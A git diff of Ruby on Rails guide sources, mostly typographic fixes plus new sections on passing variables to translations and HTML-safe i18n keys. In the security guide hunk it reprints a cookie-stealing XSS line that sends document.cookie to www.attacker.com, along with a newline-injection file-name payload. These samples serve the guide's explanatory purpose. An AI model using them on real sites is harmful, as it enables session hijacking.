index c0f709eda8..99eb668513 100644
--- a/railties/guides/source/api_documentation_guidelines.textile
+++ b/railties/guides/source/api_documentation_guidelines.textile
@@ -146,7 +146,7 @@ h3. Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
<ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
</ruby>
The description starts in upper case and ends with a full stop—it's standard English.
diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile
index ce4eafb97c..586a9f46eb 100644
--- a/railties/guides/source/asset_pipeline.textile
+++ b/railties/guides/source/asset_pipeline.textile
@@ -25,6 +25,12 @@ In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +a
config.assets.enabled = false
</plain>
+You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
+
+<plain>
+rails new appname --skip-sprockets
+</plain>
+
It is recommended that you use the defaults for all new apps.
@@ -164,15 +170,15 @@ Note that the closing tag cannot be of the style +-%>+.
h5. CSS and Sass
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
-* +image_url("rails.png")+ becomes +url(/assets/rails.png)+.
-* +image_path("rails.png")+ becomes +"/assets/rails.png"+.
+* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
+* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
The more generic form can also be used but the asset path and class must both be specified:
-* +asset_url("rails.png", image)+ becomes +url(/assets/rails.png)+.
-* +asset_path("rails.png", image)+ becomes +"/assets/rails.png"+.
+* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
+* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
h5. JavaScript/CoffeeScript and ERB
@@ -353,7 +359,7 @@ NOTE. If you are precompiling your assets locally, you can use +bundle install -
The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
<ruby>
-[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
+[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
</ruby>
If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
index 4b6b08bcec..81d2ba9a56 100644
--- a/railties/guides/source/i18n.textile
+++ b/railties/guides/source/i18n.textile
@@ -12,7 +12,7 @@ So, in the process of _internationalizing_ your Rails application you have to:
In the process of _localizing_ your application you'll probably want to do the following three things:
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
* Store the resulting dictionaries somewhere
@@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor
The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
@@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files.
You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+h4. Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+<ruby>
+# app/views/home/index.html.erb
+<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
+
+# config/locales/en.yml
+en:
+ greet_username: "%{message}, %{user}!"
+</ruby>
+
h4. Adding Date/Time Formats
OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
@@ -448,6 +461,7 @@ Covered are features like these:
* looking up translations
* interpolating data into translations
* pluralizing translations
+* using safe HTML translations
* localizing dates, numbers, currency, etc.
h4. Looking up Translations
@@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The
I18n.default_locale = :de
</ruby>
+h4. Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+<ruby>
+# config/locales/en.yml
+en:
+ welcome: <b>welcome!</b>
+ hello_html: <b>hello!</b>
+ title:
+ html: <b>title!</b>
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+</ruby>
+
+!images/i18n/demo_html_safe.png(i18n demo html safe)!
+
h3. How to Store your Custom Translations
The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile
index 8aabc3ae91..32b41fdd2c 100644
--- a/railties/guides/source/initialization.textile
+++ b/railties/guides/source/initialization.textile
@@ -450,7 +450,7 @@ run YourApp::Application
The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
<ruby>
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
TOPLEVEL_BINDING, config
</ruby>
diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
index e63f564c83..29aefd25f8 100644
--- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile
+++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
@@ -26,7 +26,7 @@ h5. When are Objects Saved?
Use the same typography as in regular text:
<plain>
-h6. The +:content_type+ Option
+h6. The <tt>:content_type</tt> Option
</plain>
h3. API Documentation Guidelines
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
index 4cf9e2a7f3..73c7a80ff6 100644
--- a/railties/guides/source/security.textile
+++ b/railties/guides/source/security.textile
@@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e
<ruby>
class File < ActiveRecord::Base
- validates :name, :format => /^[\w\.\-\+]+$/
+ validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
end
</ruby>
@@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script>
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
<ruby>
-/\A[\w\.\-\+]+\z/
+/\A[\w\.\-\<plus>]<plus>\z/
</ruby>
h4. Privilege Escalation
@@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
<html>
-<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
</html>
The log files on www.attacker.com will read like this:
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
index 160baa6906..f4efd3af74 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
@@ -5,6 +5,9 @@ source "http://rubygems.org"
# development dependencies will be added by default to the :development group.
gemspec
+# jquery-rails is used by the dummy application
+gem "jquery-rails"
+
# Declare any dependencies that are still in development here instead of in
# your gemspec. These might include edge Rails or gems from your path or
# Git. Remember to move these dependencies to your gemspec before releasing
@@ -17,4 +20,4 @@ gemspec
<% end -%>
# To use debugger
-# <%= ruby_debugger_gemfile_entry %> \ No newline at end of file
+# <%= ruby_debugger_gemfile_entry %>